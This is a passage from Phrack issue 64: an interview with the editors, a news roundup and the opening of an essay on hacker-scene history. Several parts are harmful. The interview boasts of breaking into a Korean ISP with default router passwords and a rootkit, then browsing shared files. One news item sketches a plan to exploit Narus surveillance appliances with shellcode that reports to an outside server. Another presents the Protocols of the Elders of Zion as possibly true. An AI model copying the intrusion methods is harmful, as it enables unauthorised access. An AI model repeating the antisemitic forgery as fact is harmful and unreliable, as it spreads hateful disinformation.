A subtle modification about p0f wich made me finding documents that I wasn't supposed to find. Some years ago, I had a period when each month I tried to focus on the security of one country. One of those countries was South‑Korea where I owned a big ISP. After spending some time to figure out how I could leave the DMZ and enter in the LAN, I succeed thanks to a cisco modification (I like default passwords). Once in the LAN and after hiding my activity (userland > kernelland), I installed a slightly modification of p0f. The purpose if this version was to scan automatically all the windows box found on the network, mount shared folders and list all files in these folders. Nothing fantastic. But one of the computers scanned contained a lot of files about the other Korea... North Korea. And trust me, there were files that I wasn't supposed to find. I couldn't believe it. I could do the evil guy and try to sell these files for money, but I had (and I still have) a hacker ethic. So I simply added a text file on the desktop to warn the user of the "flaw". After that I left the network and I didn't come back. It was more than 5 years ago so don't ask me the name of the ISP I can't remember.

2.

Learning hacking by practice with some of the best hackers world‑wide. Sometimes you think you know something but its almost always possible to find someone who prove you the opposite. Wether we talk about hacking a very big network with many thousands of accounts and know exactly how to handle this in minuts in the stealthiest manner, or about auditing source code and find vulnerability in a daemon server or Operating System used by millions of peoples on the planet, there is always someone to find that outsmart you, when you thought being one of the best in what you are doing. I do not want to enter in detail to avoid compromising anyone's integrity, but the best experience are those made of small groups (3, 4 ..) of hackers, working on something in common (hacking, exploits, coding, audits ..), for example in a screen session. Learning by seing the others do. Teaching younger hackers. Sharing knowledge in a very restricted personal area. Partying in private with hackers from all around the world and getting 0day found, coded, and used in a single hacking session.

Q: Is one of you has been busted in a previous life?

A: Hope no but who knows?

Q: What do you think about the current scene?

A: We think a lot of things, probably the best answer is to read the article "A brief history of the Underground" in this issue where we are talking about the scene and the Underground.

Q: What's your opinion about old phracks?

A: Great. Old phracks were the first source of information when we were starving for more to learn. _The_ point of reference. But don't stop yourselves to the last 10 issues, all issues are still interesting.

Q: And about PHC?

A: Well, thats an interesting question. To be honest, PHC did not just do those bad things we were used to learn from the web or irc, we like some of them and even know very well a few others. Also, the two attempted issues 62 and 63 of PHC had an incontestable renew in the spirit and there were even some useful information on honeypots and protecting exploits.

However, we have a problem with unjustified arrogance. If it's true the security world has a problem with white/black hats, we think that the good way to resolve the problem is not to fight everyone, especially such a poor demonstrative way. It's not our conception of hacking. Take the first 20 issues of Phrack and try to find unjustified arrogant word/sentence/paragraph: you won't find any. The essence of hacking is different : it's learning. Hacking to learn.

You can be a blackhat and working in the IT industry, it's not incompatible. We have nothing against PHC and we think the Underground needs a group like PHC. But the Underground needs a magazine like Phrack as well. The main battle of PHC is fighting whitehats but it's not Phrack's battle. It's never been the purpose of Phrack. If we have to fight against something, it's against the society and not targeting whitehats personally (that doesn't mean that we support whitehat...). Phrack is about fighting the society by releasing information about technologies that we are not supposed to learn. And these technologies are not only Unix‑related and/or software vulnerabilities.

We agree with them when they say that recent issues of Phrack helped probably too much the security industry and that there was a lack of spirit. We're doing our best to change it. But we still need technical articles. If they want to change something in the Underground, they are welcome to contribute to Phrack. Like everyone in the Underground community.

Q: Full‑disclosure or non‑disclosure?

A: Semi‑disclosure. For us, obviously. Free exchange of techniques, ideas and codes, but not ready‑to‑use exploit, neither ready‑to‑patch vulnerabilities.

Keep your bugs for yourself and for your friend, do the best to not make them leak. If you're cool enough, you'll find many and you'll be able to patch your boxes.

Disclosing techniques, ideas and codes implementations helps the other Hackers in their work, disclosing bugs or releasing "0‑day" exploits helps only the Security Industry and the script kiddies. And we don't want that.

You might be an Admin, you might be thinking : "oh, but my box is not safe if i don't know about vulnerabilities". That's true, but remember that if only very skilled hackers have a bug you won't have to face a "rm ‑rf" of the box or a web defacement. That's kiddies game, not Hackers one.

But that's our opinion. You might have a totally different one and we will respect it. You might even want to release a totally unknown bug on Phrack's pages and, if you write a good article, we'll help you in publishing it. Maybe discussing the idea, before.

As we said in the introduction, the first thing we want to garantee is freedom of speech. That's the identity of our journal.

Q: What's the best advice that you can give to new generation of hackers? A: First of all, enjoy hacking. Don't do that for fame or to earn more money, neither to impress girl (hint: not always works ;)) or only to be published somewhere. Hack for yourself, hack for your interest, hack to learn.

Second, be careful. In every thing you do, in any relationship you'll have. Respect people and try to not distrupt their work only because you're distracted or angry.

Third, have fun. Have a lot of fun.

And never, never, never setup an honeypot (hi Lance!).

Q: What do you think about starting an Underground World Revolution Movement against the establishment ?

A: Do it. But do it Underground. The nowadays world is too obsessed by "visibility". Act, let the others talk.

Q: What's the future of hacking ?

A: The future is similar to the present and to the past. "Hacking" is the resulting mix of curiosity and research for information, fun and freedom. Things change, security evolves and so does technology, but the "hacker‑mind" is always the same. There will always be hackers, that is skilled people who wants to understand how things really go.

To be more concrete, we think that the near future will see way more interest in hardware and embedded systems hacking : hardware chip modification to circumvent hardware based restrictions, mobile and mobile services exploits/attacks, etc.

Moreover, seems like more people is hacking for money (or, at least, that's more "publicly" known), selling exploits or backdoors. Money is usually the source of many evils. It is indeed a good motivating factor (moreover hacking requires time and having that time payed when you don't have any other work is really helpful), but money brings with itself the business mind. People who pays hackers aren't interested in research, they are interested in business. They don't want to pay for months of research that lead to a complex and eleet tecnique, they want a simple php bug to break into other companies website and change the homepage. They want visible impact, not evolved culture.

We're not for the "hacking‑business" idea, you probably realized that. We're not for exploit disclosure too, unless the bug is already known since time and showing the exploit code would let better understand the coding techniques involved. And we don't want that someone with a lot of money (read : governement and big companies) will be one day able to "pay" (and thus "buy") all the hackers around.

But we're sure that that will never happen, thanks to the underground, thanks to people like you who read phrack, learn, create and hack independently.

Q: Do you have some people or groups to mention ?

A: (mentioning some people and say what do u thing about them, phc, etc)

There are groups and people who have made (or are making) the effective evolving of the scene. We try to tell a bit of their story in "International Scenes" phile (starting from that issue with : Quebec, Brazil and France). Each country has its story, Italy has s0ftpj and antifork, Germany has TESO, THC and Phenolit (thanks for your great ph‑neutral party), Russia, France, Netherlands, or Belgium have ADM, Synnergy, or Devhell, USA and other countries have PHC...

Each one will have his space on "International Scenes". If you're part of it, if you want to tell the "real story", just submit us a text. If you are too paranoid to submit a tfile to Phrack, its ok. If you wish to participate to the underground information, how journal is your journal as well and we can find a solution that keep you anonymous.

Q: Thank you for this interview, I hope readers will enjoy it! A; No problem, you're welcome. Can I have a beer now?

Phrack World News

_

_/B\_ W\_

(* *) Phrack #64 file 3 (* *)

| ‑ |

| | Phrack World News | |

| |

| | compiled by The Circle of Lost Hackers | |

| |

| |

(___________________________

The Circle of Lost Hackers is looking for any kind of news related to security, hacking, conference report, philosophy, psychology, surrealism, new technologies, space war, spying systems, information warfare, secret societies, ... anything interesting! It could be a simple news with just an URL, a short text or a long text. Feel free to send us your news.

Again, we need your help for this section. We can't know everything, we try to do our best, but we need you ... the scene needs you...the humanity needs you...even your girlfriend needs you but should already know this... :‑)

1. Speedy Gonzales news

2. One more outrage to the freedom of expression

3. How we could defeat the Orwellian Narus system

4. Feeling safer in a spying world

5. D‑Wave computing demonstrates a quantum computer

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑[ 1.

_____ _

/ ___| | |

\ `‑‑. _ __ ___ ___ __| |_ _

`‑‑. \ '_ \ / _ \/ _ \/ _` | | | |

/\__/ / |_) | __/ __/ (_| | |_| |

\____/| .__/ \___|\___|\__,_|\__, |

| | __/ |

|_| |___/

_____ _

| __ \ | |

| | \/ ___ _ __ ______ _| | ___ ___

| | __ / _ \| '_ \|_ / _` | |/ _ \/ __|

| |_\ \ (_) | | | |/ / (_| | | __/\__ \

\____/\___/|_| |_/___\__,_|_|\___||___/

_ _

| \ | |

| \| | _____ _____

| . ` |/ _ \ \ /\ / / __|

| |\ | __/\ V V /\__ \

\_| \_/\___| \_/\_/ |___/

‑Speedy News‑[ There is no age to start hacking ]‑‑

http://www.dailyecho.co.uk/news/latest/display.var.

1280820.0.how_girl_6_hacked_into_mps_commons_computer.php

‑Speedy News‑[ Eeye hacked ? ]‑‑

http://www.phrack.org/eeye_hacked.png

‑Speedy News‑[ Anarchist Cookbook ]‑‑

The anarchist cookbook version 2006, be careful...

http://www.beyondweird.com/cookbook.html

‑Speedy News‑[ Is Hezbollah better than Israeli militants? ]‑‑

http://www.fcw.com/article96532‑10‑19‑06‑Web

‑Speedy News‑[ How to be secure like an 31337 DoD dude ]‑‑

https://addons.mozilla.org/en‑US/firefox/addon/3182

‑Speedy News‑[ Hi I'm Skyper, ex‑Phrack and I like Phrack's design! ]‑‑

http://conf.vnsecurity.net/cfp2007.txt

‑Speedy News‑[ The most obscure company in the world ]‑‑

http://www.vanityfair.com/politics/features/2007/03/spyagency200703?

printable=true&currentPage=all

A "MUST READ" article...

‑Speedy News‑[ Terrorism excuse Vs freedom of information ]‑‑

http://www.usatoday.com/news/washington/2007‑03‑13‑archives_N.htm

‑Speedy News‑[ Zero Day can happen to anyone ]‑‑

http://www.youtube.com/watch?v=L74o9RQbkUA

‑Speedy News‑[ NSA, contractors and the success of failure ]‑‑

http://www.govexec.com/dailyfed/0407/040407mm.htm

‑Speedy News‑[Blood, Bullets, Bombs, and Bandwidth ]‑‑

http://rezendi.com/travels/bbbb.html

‑Speedy News‑[ The day when the BCC predicted the future ]‑‑

http://www.prisonplanet.com/articles/february2007/260207building7.htm

‑Spirit News‑[ Just because we like these websites ]‑‑

http://www.cryptome.org/

http://www.2600.com/

‑‑[ 2. One more outrage to the freedom of expression

by Napoleon Bonaparte

The distribution of a book containing a copy of the Protocols of the Elders of Zion was stopped in Belgium and France by Israeli lobbyists.

The authors advance that the bombing of the WTC could be in relation with Israel. It's not the good place to argue about this statement, but what is interesting is that 6 years after 11/09/01 we read probably more than 100 theories about the possible authors of WTC bombing: Al Qaeda, Saoudi Arabia, Irak (!) or even Americans themselves. But this book advances the theory that _maybe_ there is something with Israel and the diffusion is forbidden, just one month after its release.

Before releasing this book, the Belgian association antisemitisme.be read it to give his opinion. The result is apparent: the book is not antisemitic. The only two things that could be antisemitic in this book are:

‑ the diffusion of "The Protocols of the Elders of Zion" in the annexe of the book. If you take a look on Amazon, you can find more than 30 books containing The Protocols.

‑ the cover of the book which show the US and Israeli flags linked with a bundle of dollars.

Actually you can find the same kind of picture on the website of the Americo‑Israeli company Zionoil: http://www.zionoil.com/ . And the

cover of the book was designed before the author found the same picture on Zionoil's website.

Also, something unsettling in this story is that the book was removed on the insistence of a Belgian politician: Claude Marinower. And on the website of this politician, we can see him with Moshe Katsav who is the president of Israel and recently accused by Attorney General Meni Mazuz for having committed rape and other crimes...

http://www.claudemarinower.be/uploads/ICJP‑israelpresi.JPG

So why the distribution of this book was banned? Because the diffusion of "The Protocols of the Elders of Zion" is dangerous? Maybe but...

You can find on Internet or amazon some books like "The Anarchist Cookbook" which is really more "dangerous" than the "The Protocols of the Elders of Zion". In this book you can find some information like how to kill someone or how to make a bomb. If we have to give to our children either "The Anarchist Cookbook" or "The Protocols of the Elders of Zion", I'm sure that 100% of the population will prefer to give "The Protocols of the Elders of Zion". Simply because it's not dangerous.

So why? Probably because there are some truth in this book.

The revelations in this book are not only about 11/09/2001 but also about the Brabant massacres in Belgium from 1982 to 1985. The authors advances that these massacres were linked to the GLADIO/stay‑behind network.

As Napoleon Bonaparte said: "History is a set of lies agreed upon".

He was right...

[1] http://www.antisemitisme.be/site/event_detail.asp?language=FR&eventId

=473&catId=26

[2] http://www.ejpress.org/article/14608

[3] http://www.wiesenthal.com/site/apps/nl/content2.asp?c=fwLYKnN8LzH&b

=245494&ct=2439597

[4] http://www.osservatorioantisemitismo.it/scheda_evento.asp?number=1067&

idmacro=2&n_macro=3&idtipo=59

[5] http://ro.novopress.info/?p=2278

[6] http://www.biblebelievers.org.au/przion1.htm

‑‑[ 3. How we could defeat the Orwellian Narus system

by Napoleon Bonaparte

AT&T, Verizon, VeriSign, Amdocs, Cisco, BellSouth, Top Layer Networks, Narus, ... all theses companies are inter‑connected in our wonderful Orwellian world. And I don't even talk about companies like Raytheon or others involved in "ECHELON".

That's not new, our governments spy us. They eavesdrop our phones conversation, our Internet communications, they take beautiful photos of us with their imagery satellites, they can even see through walls using satellites reconnaissance (Lacrosse/Onyx?), they install cameras everywhere in our cities (how many cameras in London???), RFID tags are more and more present and with upcoming technologies like nanotechnologies, bio‑informatics or smartdusts system there is really something to worry about.

With all these systems already installed, it's utopian to think that we could come back to a world without any spying system. So what we can do ? Probably not a lot of things. But I would like to propose a funny idea about NARUS, the system allowing governments to eavesdrop citizens Internet communications.

This short article is not an introduction to Narus. I will just give you a short description of its capacities. A more longer article could be written in a next release of Phrack (any volunteer?). So Narus is an American company founded in 97. The first work of NARUS was to analyze IP network traffic for billing purpose. In order to accomplish this they have strongly contributed to the standardization of the IPDR Streaming Protocol by releasing an API Code [1] (study this doc, it's a key to break NARUS). Nowadays, Narus is also included in what I will call the "spying business". According to their authors, they can collect data from links, routers, soft switches, IDS/IPS, databases, ..., normalize, correlate, aggregate and analyze all these data to provide a comprehensive and detailed model of users, elements, protocols, applications and networks behaviors. And the most important: everything is done in real time. So all your e‑mails, instant messages, video streams, P2P traffic, HTTP traffic or VOIP can be monitored. And they doesn't care about which transmission technology you use, optical transmission can also be monitored. This system is simply amazing and we should send our congratulations to their designers. But we should also send our fears...

If we want to block Narus, there is an obvious way: using cryptography. Nowadays, it's quite easy to send an encrypted email. You don't even have to worry about your email client, everything it's transparent (once configured). The problem is that you need to give your public key to your interlocutor, which is not really "user friendly". Especially if the purpose is simply to send an email to your girlfriend. But it's still the best solution to block a system like Narus. Another way to block Narus is to use steganography, but it's more complicate to implement.

In conclusion, there is no way to stop totally a system like Narus and the only good way to block it is to use cryptography. But we, hackers, we can do something against Narus. Something funny. The idea is the following: we should know where a Narus system is installed!

First step. An organization, a country or simply someone should buy a Narus system and reverse it. There are a lot of tools to reverse a system, free or commercial. Since the purpose of Narus is to analyze data, the main task is parsing data. And we know that systems parsing data are the most sensitive to bugs. So a first idea could be to fuzzing it with random requests and if it doesn't work doing some reversing. Once a bug is detected (and for sure, there IS at least one bug), the next step is to exploit it. Difficult task but not impossible. The most interesting part is the next one: the shellcode.

There are two possibilities, either the system where Narus is installed has an outgoing Internet connexion or there isn't an outgoing Internet connexion. If not, the shellcode will be quite limited, the "best" idea is maybe just to destroy the system but it's not useful. What is useful is when Narus is installed on a system with an outgoing Internet connexion. We don't want a shell or something like that on the system, what we want is to know where a Narus system is installed. So what our shellcode has to do is just to send a ping or a special packet to a server on Internet to say "hello a Narus is installed at this place". We could hold a database with all the Narus system we discover in the world.

This idea is probably not very difficult to implement. The only bad thing is if we release the vulnerability, it won't take a long time to Narus to patch it.

But after all, what else can we do?

Again, as Napoleon said: "Victory belongs to the most persevering".

And hackers are...

[1] http://www.ipdr.org/public/DocumentMap/SP2.2.pdf

‑‑[ 4. Feeling safer in a spying world

by Julius Caesar

At first, it's subtle. It just sneaks up on you. The only ones who notice are the paranoid tinfoil hat nutjobs ‑‑ the ones screaming about conspiracies and big brother. They take a coincidence here and a fact from over there and come up with 42. It's all about 42.

We need cameras at ATM machines, to catch robbers and muggers. Sometimes they even catch a shot of the Ryder truck driving by in the background. People get mugged in elevators, so we need some cameras there too. Traffic can be backed up for a while before the authorities notice, so let's have some cameras on the highway. Resolution gets better, and we can catch more child molestors and terrorists if they can record license plates and faces.

Cameras at intersections catch people running red lights and speeding. We're getting safer every day.

Some neighborhoods need cameras to catch the hoods shooting each other. Others need cameras to keep the sidewalks safe for shoppers. It's all about safety.

Then one day, the former head of the KGIA is in charge, or arranges for his dimwitted son to fuck up yet again as president of something.

Soon, we're at war. Not with anyone in particular. Just Them. You're either with us, or you're with Them, and we're gonna to git Them.

Our phone calls need to me monitored, to make sure we're not one of Them. Our web browsing and shopping and banking and reading and writing and travel and credit all need to be monitored, so we can catch Them. We'll need to be seached when travelling or visiting a government building because we might have pointy metal things or guns on us. We don't want to be like Them.

It's important to be safe, but how can we tell if we're safe or not? What if we wonder into a place with no cameras? How would we know? What if our web browsing isn't being monitored? How can we make sure we're safe?

Fortunately, there are ways.

Cameras see through a lens, and lenses have specific shapes with unique characteristics. If we're in the viewing area of a camera, then we are perpendicular to a part of the surface of the lens, which usually has reflective properties. This allows us to know when we're safely in view of a camera.

All it takes is a few organic LEDs and a power supply (like a 9V battery). Arrange the LEDs in a circle about 35mm in diameter, and wire them appropriately for the power supply. Cut a hole in the center of the circle formed by the LEDs.

Now look through the hole as you pan around the room. When you're pointing at a lens, the portion of the curved surface of the lens which is perpendicular to you will reflect the light of the LEDs directly back at you. You'll notice a small bright white pinpoint. Blink the LEDs on and off to make sure it's reflecting your LEDs, and know that you are now safer.

Worried that your Internet connection may not be properly monitored for activity that would identify you as one of Them? There are ways to confirm this too.

Older equipment, such as carnivore or DCS1000 could often be detected by traceroute, which would show up as odd hops on your route to the net. As recently as 2006, AT&T's efforts to keep us safe showed up with traceroute. But the forces of Them have prevailed, and our protectors were forced to stop watching our net traffic. Almost. We can no longer feel safe when seeing that odd hop, because it doesn't show up on traceroute anymore.

It will, however, show up with ping ‑R, which requests every machine to add its IP to the ping packet as it travels the network.

First, do a traceroute to find out where your ISP connects to the rest of the net;

[snip]

5 68.87.129.137 (68.87.129.137) 28.902 ms 14.221 ms 13.883 ms 6 COMCAST‑IP.car1.Washington1.Level3.net (63.210.62.58) 19.833 ms * 21.768 ms

7 te‑7‑2.car1.Washington1.Level3.net (63.210.62.49) 19.781 ms 19.092 ms 17.356 ms

Hop #5 is on comcast's network. Hop #6 is their transit provider. We want to send a ping ‑R to the transit provider (63.210.62.58);

[root@phrack root]# ping ‑R 63.210.62.58

PING 63.210.62.58 (63.210.62.58) from XXX.XXX.XXX.XXX : 56(124) bytes of data.

64 bytes from 63.210.62.58: icmp_seq=0 ttl=243 time=31.235 msec NOP

RR:[snip]

68.87.129.138

68.86.90.90

4.68.121.50

4.68.127.153

12.123.8.117

117.8.123.12.in‑addr.arpa. domain name pointer sar1‑a360s3.wswdc.ip.att.net.

An AT&T hop on Level3's network? Wow, we are still safely under the watchful eye of our magnificent benevolent intelligence agencies. I feel safer already.

‑‑[ 5. D‑Wave demonstrates a quantum computer

by aris

February the 13'th, 2007, Wave computing made a public demonstration of their brand‑new quantum computer, which could be a revolution in computing and in cryptography in general. The demonstration took place at Mountain View, Silicon Valley, though the quantum computer itself was left at Vancouver, remotely connected by Internet.

The Quantum computer is a hybrid construction of classical computing and a quantum "accelerator" chip: The classical computer makes the ordinary operations, isolates the complicate stuff, prepare it to be processed by the quantum chip then gives back the results. The whole mechanism is meant to be usable over networks (with RPC) to be accessible for companies that want a quantum computer but can't manage to handle it at their main office (The hardware has special requirements). [1]

The quantum chip is a 16 Qbits engine, using superconductiong electronics.

Previous tries to do quantum computers were made previously, none of them known to have more than 3 or 4 Qbits. D‑Wave also pretends being able to scale that number of Qbits up to 1024 in 2008 ! That fact made a lot of people in scientific area skeptic about the claims of D‑Wave. The US National Aeronautics and Space Administration (commonly known as NASA) confirmed to the press that they've built the special chip for D‑Wave conforming their specifications. [2]

Now, how does the chip works ? D‑Wave hasn't released that much details about the internals of their chip. They have chosen the superconductor because it makes easier to exploit quantum mechanics. When atoms are very cold (approaching the 0K), they transform themselves into superconducting atoms. They have special characteristics, including the fact their electrons get a different quantum behaviur.

In the internals, the chips contains 16 Qbits arranged in a 4x4 grid, each Qbit being coupled with its four immediate neighbors and some in the diagonals. [3]

The coupling of Qbits is what gives them their power : a Qbit is believed to be at two states at same time. When coupling two Qbits, the combination of their state contains four states, and so on. The more Qbits are coupled together, the more possible number of states they have, and when working an algorithm on them, you manipulate all of their states at once, giving a very important performance boost. By its nature, it may even help to resolve NP‑Complete problems, that is, problems that cannot be resolved by polynomial algorithms (we think of large sudoku maps, multivariate polynomial systems, factoring large integers ...).

Not coupling all of their Qbits makes their chip easier to build and to scale, but their 16Qbits computer is not equal to the theoretical 16 Qbits computers academics and governments are trying to build for years.

The impact of this news to the world is currently minimal. Their chips currently work slower than a low‑range personal computer and costs thousands of dollars, but maybe in some years it will become a real solution for solving NP problems.

The NP problem that most people involved in security know is obviously the factoring of large numbers. We even have a proof that it exists a *linear* algorithm to factorize a multiple of two large integers, it is named Shor's algorithm. It means when we'll have the hardware to run it, factorizing a 1024 bits RSA private key will only take two times the time needed to factorize a 512 bits key.

It completely destroys the security of the public cryptography as we know it now.

Unfortunaly, we have no information on which known quantum algorithms run on D‑Wave computer, and D‑Wave made no statement about running Shor's algorithm on their beast. Also, no claim have been given letting us think the chip could break RSA. And for sure, NSA experts probably already studied the situation (in the case they don't already own their own quantum computer).

References:

[1] http://www.dwavesys.com/index.php?page=quantum‑computing

[2] http://www.itworld.com/Tech/3494/070309nasaquantum/index.html

[3] http://arstechnica.com/articles/paedia/hardware/quantum.ars

A brief history of the Underground scene

_

_/B\_ W\_

(* *) Phrack #64 file 4 (* *)

| ‑ |

| | A brief history of the Underground scene | |

| |

| | By The Circle of Lost Hackers | |

| |

| | Duvel@phrack.org | |

(___________________________

‑‑[ Contents

1. Introduction

2. The security paradox

3. Past and present Underground scene

3.1. A lack of culture and respect for ancient hackers

3.2. A brief history of Phrack

3.3. The current zombie scene

4. Are security experts better than hackers?

4.1. The beautiful world of corporate security

4.2. The in‑depth knowledge of security conferences

5. Phrack and the axis of counter attacks

5.1. Old idea, good idea

5.2. Improving your hacking skills

5.3. The Underground yellow pages

5.4. The axis of knowledge

5.4.1. New Technologies

5.4.2. Hidden and private networks

5.4.3. Information warfare

5.4.4. Spying System

6. Conclusion

‑‑[ 1. Introduction

"It's been a long long time,

I kept this message for you, Underground

But it seems I was never on time

Still I wanna get through to you, Underground..."

I am sure most of you know and love this song (Stir it Up). After all, who doesn't like a Bob Marley song? The lyrics of this song fit very well with my feeling : I was never on time but now I'm ready to deliver you the message.

So what is this article about? I could write another technical article about an eleet technique to bypass a buffer overflow protection, how to inject my magical module in the kernel, how to reverse like an eleet or even how to make a shellcode for a not‑so‑famous OS. But I won't. There are some other people who can do it much better than I could.

But it is the reason not to write a technical article. The purpose of this article is to launch an SOS. An SOS to the scene, to everyone, to all the hackers in the world. To make all the next releases of Phrack better than ever before. And for this I don't need a technical article. I need what I would call Spirit.

Do you know what I mean by the word spirit?

‑‑[ 2. The security paradox.

There is something strange, really strange. I always compare the security world with the drug world. Take the drugs world, on the one side you have all the "bad" guys: cartels, dealers, retailers, users... On the other side, you have all the "good" guys: cops, DEA, pharmaceutical groups creating medicines against drugs, president of the USA asking for more budget to counter drugs... The main speech of all these good guys is : "we have to eradicate drugs!". Well, why not. Most of us agree.

But if there is no more drugs in the world, I guess that a big part of the world economy would fall. Small dealers wouldn't have the money to buy food, pharmaceutical groups would loose a big part of their business, DEA and similar agencies wouldn't have any reason to exist. All the drugs centers could be closed, banks would loose money coming from the drugs market. If you take all thoses things into consideration, do you think that governments would want to eradicate drugs? Asking the question is probably answering it.

Now lets move on to the security world.

On the one side you have a lot of companies, conferences,

open source security developers, computer crime units... On the other side you have hackers, script kiddies, phreackers.... Should I explain this again or can I directly ask the question? Do you really think that security companies want to eradicate hackers?

To show you how these two worlds are similar, lets look at another example. Sometimes, you hear about the cops arrested a dealer, maybe a big dealer. Or even an entire cartel. "Yeah, look ! We have arrested a big dealer ! We are going to eradicate all the drugs in the world!!!". And sometimes, you see a news like "CCU arrests Mafiaboy, one of the best hacker in the world". Computer crime units and DEA need publicity ‑ they arrest someone and say that this guy is a terrorist. That's the best way to ask for more money. But they will rarely arrest one of the best hackers in the world. Two reasons. First, they don't have the intention (and if they would, it's probably to hire him rather than arrest him). Secondly, most of the Computer Crime Units don't have the knowledge required.

This is really a shame, nobody is honest. Our governments claim that they want to eradicate hackers and drugs, but they know if there were no more hackers or drugs a big part of the world economy could fall. It's again exactly the same thing with wars. All our presidents claim that we need peace in the world, again most of us agree. But if there are no more wars, companies like Lockheed Martin, Raytheon, Halliburton, EADS, SAIC... will loose a huge part of their markets and so banks wouldn't have the money generated by the wars.

The paradox relies in the perpetual assumption that threat is generated from abuses where in fact it might comes from inproper technological design or money driven technological improvement where the last element shadows the first. And when someone that is dedicated enough digs it, we have a snowball effect, thus every fish in the pound at one time or an other become a part of it.

And as you can see, this paradox is not exclusive to the security industry/underground or even the computer world, it could be considered as the gold idol paradox but we do not want to get there.

In conclusion, the security world need a reason to justify its business. This reason is the presence of hackers or a threat (whatever hacker means), the presence of an hackers scene and in more general terms the presence of the Underground.

We don't need them to exist, we exist because we like learning, learning what we are not supposed to learn. But they give us another good reason to exist. So if we are "forced" to exist, we should exist in the good way. We should be well organized with a spirit that reflect our philosophy. Unfortunately, this spirit which used to characterized us is long gone...

‑‑[ 3. Past and Present Underground scene

The "scene", this is a beautiful word. I am currently in a country very far away from all of your countries, but it is still an industrialized country. After spending some months in this country, I found some old‑school hackers. When I asked them how the scene was in their country, they always answered the same thing: "like everywhere, dying". It's a shame, really a shame. The security world is getting larger and larger and the Underground scene is dying.

I am not an old school hacker. I don't have the pretension to claim it I would rather say that I have some old‑school tricks or maybe that my mind is old‑school oriented, but that's all. I started to enjoy the hacking life more or less 10 years ago. And the scene was already dying.

When I started hacking, like a lot of people, I have read all the past issues of Phrack. And I really enjoyed the experience. Nowadays, I'm pretty sure that new hackers don't read old Phrack articles anymore. Because they are lazy, because they can find information elsewhere, because they think old Phracks are outdated... But reading old Phracks is not only to acquire knowledge, it's also to acquire the hacking spirit.

‑‑‑‑[ 3.1 A lack of culture and respect for ancient hackers

How many new hackers know the hackers history? A simple example is Securityfocus. I'm sure a lot of you consult its vulnerabilities database or some mailing list. Maybe some of you know Kevin Poulsen who worked for Securityfocus for some years and now for Wired. But how many of you know his history? How many knew that at the beginning of the 80's he was arrested for the first time for breaking into ARPANET? And that he was arrested a lot more times after that as well. Probably not a lot (what's ARPANET after all...).

It's exactly the same kind of story with the most famous hacker in the world: Kevin Mitnick. This guy really was amazing and I have a total respect for what he did. I don't want to argue about his present activity, it's his choice and we have to respect it. But nowadays, when new hackers talk about Kevin Mitnick, one of the first things I hear is : "Kevin is lame. Look, we have defaced his website, we are much better than him". This is completely stupid. They have probably found a stupid web bug to deface his website and they probably found the way to exploit the vulnerability in a book like Hacking Web Exposed. And after reading this book and defacing Kevin's website, they claim that Kevin is lame and that they are the best hackers in the world... Where are we going? If these hackers could do a third of what Kevin did, they would be considered heroes in the Underground community.

Another part of the hacking culture is what some people name "The Great Hackers War" or simply "Hackers War". It happened 15 years ago between probably the two most famous (best?) hackers group which had ever existed: The Legion of Doom and Master of Deception. Despite that this chapter of the hacking history is amazing (google it), what I wonder is how many hackers from the new generation know that famous hackers like Erik Bloodaxe or The Mentor were part of these groups. Probably not a lot. These groups were mainly composed of skilled and talented hackers/phreackers. And they were our predecessor. You can still find their profiles in past issues of Phrack. It's still a nice read.

Let's go for another example. Who knows Craig Neidorf? Nobody? Maybe Knight Lightning sounds more familiar for you... He was the first editor in chief of Phrack with Taran King, Taran King who called him his "right hand man". With Taran King and him, we had a lot of good articles, spirit oriented. So spirit oriented that one article almost sent him to jail for disclosing a confidential document from Bell South. Fortunately, he didn't go in jail thanks to the Electronic Frontier Foundation who preached him. Craig wrote for the first time in Phrack issue 1 and for the last time in Phrack issue 40. He is simply the best contributor that Phrack has ever had, more than 100 contributions. Not interesting? This is part of the hacking culture.

More recently, in the 90's, an excellent "magazine" (it was more a collection of articles) called F.U.C.K. (Fucked Up College Kids) was made by a hacker named Jericho... Maybe some new hackers know Jericho for his work on Attrition.org (that's not sure...), but have you already taken time to check Attrition website and consult all the good work that Jericho and friends do? Did you know that Jericho wrote excellent Phrack World News under the name Disorder 10 years ago (and trust me his news were great) ? Stop thinking that Attrition.org is only an old dead mirror of web site defacements, it's much more and it's spirit oriented.

Go ask Stephen Hawking if knowing the scientific story is not important to understand the scientific way/spirit... Do you think that Stephen doesn't know the story of Aristotle, Galileo, Newton or Einstein ?

To help wannabe hackers, I suggest that they read "The Complete History of Hacking" or "A History of Computer Hacking" which are very interesting for a first dive in the hacking history and that can easily be found with your favorite search engine.

Another good reading is the interview of Erik Bloodaxe in 1994 (http://www.eff.org/Net_culture/Hackers/bloodaxe‑goggans_94.interview)

where Erik said something really interesting about Phrack:

"I, being so ridiculously nostalgic and sentimental, didn't want to see it (phrack) just stop, even though a lot of people always complain about the content and say, "Oh, Phrack is lame and this issue didn't have enough info, or Phrack was great this month, but it really sucked last month." You know, that type of thing. Even though some people didn't always agree with it and some people had different viewpoints on it, I really thought someone needed to continue it and so I kind of volunteered for it."

It's still true...

‑‑‑‑[ 3.2 A brief history of Phrack

Let's go for a short hacking history course and let's take a look at old Phracks where people talked about the scene and what hacking is.

Phrack 41, article 1:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

"The type of public service that I think hackers provide is not showing security holes to whomever has denied their existence, but to merely embarrass the hell out of those so‑called computer security experts and other purveyors of snake oil."

This is true, completely true. This is closely related to what I said before. If there are no hackers, there are no security experts. They need us. And we need them. (We are family)

Phrack 48, article 2:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

At the end of this article, there is the last editorial of Erik Bloodaxe. This editorial is excellent, everyone should read it. I will just reproduce some parts here:

"... The hacking subculture has become a mockery of its past self. People might argue that the community has "evolved" or "grown" somehow, but that is utter crap. The community has degenerated. It has become a media‑fueled farce. The act of intellectual discovery that hacking once represented has now been replaced by one of greed, self‑aggrandization and misplaced post‑adolescent angst... If I were to judge the health of the community by the turnout of this conference, my prognosis would be "terminally ill."..."

And this was in 1996. If we ask to Erik Bloodaxe now what he thinks about the current scene, I'm pretty sure he would say something like: "irretrievable" or "the hacking scene has reached a point of no return".

"...There were hundreds of different types of systems, hundreds

of different networks, and everyone was starting from ground zero. There were no public means of access; there were no books in stores or library shelves espousing arcane command syntaxes; there were no classes available to the layperson. ..."

